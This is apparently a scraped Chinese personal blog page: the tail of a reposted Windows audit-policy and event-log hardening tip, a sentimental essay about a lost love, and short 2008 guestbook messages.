失败 6.审核特权使用 失败 7.审核系统事件 成功失败 8.审核帐户登陆时间 成功失败 9.审核帐户管理 成功失败 &nb sp;然后再到管理工具找到事件查看器： 应用程序：右键>属性>设置日志大小上限，我设置了50mb，选择不覆盖事件。 安全性：右键>属性>设置日志大小上限，我也是设置了50mb，选择不覆盖事件。 系统：右键>属性>设置日志大小上限，我都是设置了50mb，选择不覆盖事件。 注：本文转自中国红客联盟UID为22的同盟 本人红盟UID为6297 潇湘浪子 |
| 一个人的时候，我们是快乐的，幸福的。有爱存在，即使是黑夜也不觉得害怕，只因为心里有他（她）。即使是一个人的时候也不觉得孤单，因为我们有无数幻想的空间，在虚幻的世界里，没有边际，没有缘由，也没有借口…… 其实我们都知道，哪里去找寻人间的天国？可是我宁愿这样欺骗自己。命运如飞絮，可是我说，要岁月静好，要现世安稳。有时会想要追寻线索，为今日的结果思索一个原因，可是哪里可以找到真实的因果呢？也许注定要陷落沉溺，否则怎么会放肆自己的感情，去守望那也许永远都不存在的岛屿呢，那时的我坚定的好像懵懂自闭的琥珀，固执的认为自己就是生活在将要去城堡的王子，而你，就是我的公主，会与我在优美的乐曲中翩翩起舞。 我曾无数次的告诉自己，你是我一生最爱的人。但是现实却在我的心上狠刺了一刀。我躲起来舔嗜伤口，不让自己流泪，仍在欺骗自己…… 命运来的时候不可抗拒，我至今依然心有余悸。只是那心上结下的痂，是为了谁而留下的呢？ 而如今我们却是如此的尴尬。有情，无爱。不时的联系，却不能在一起…… 说可惜是欲盖弥彰，说遗憾是故做洒脱，沉默无语是最好的优雅。 我不知道我该如何去面对，面对你，面对自己，面对记忆。我一再微笑，笑容可掬到自我厌恶，内心的一个不为人知的小角落落满尘埃，不敢轻易触碰，关于爱过的曾经和被爱的 曾经，关于那年的风景，浮云遮蔽了天日，心里裂出花纹时…… 时至今日，爱成了最拗口的方言。 手机里还存着你的信息，不舍得删掉，想让当初的温存多停留一段时间，也许这是自欺欺人，不，我只是想，在一个人的时候我不会太孤单。 或许慢慢我就忘记了你的一切了，即使是刻意也要去遗忘，也许我什么都忘记了，你也就幸福了。 因为你幸福了，我也就快乐了…… |
-
-
-
-
2008-07-16 09:26http://pepsi.51.com/show.php?account=gumeiy
参加了百事，帮我投下票，一个IP可以投三次哦。请为我投票吧,谢谢 -
2008-07-14 17:36朋友好啊！很高兴来到你漂亮的家！
感谢你对★缘系^v^軍旅┼→情★群组的支持。
由于你发的贴内容简单，不明确。己删，希望理解！
祝朋友工作顺利，爱情幸福美满！
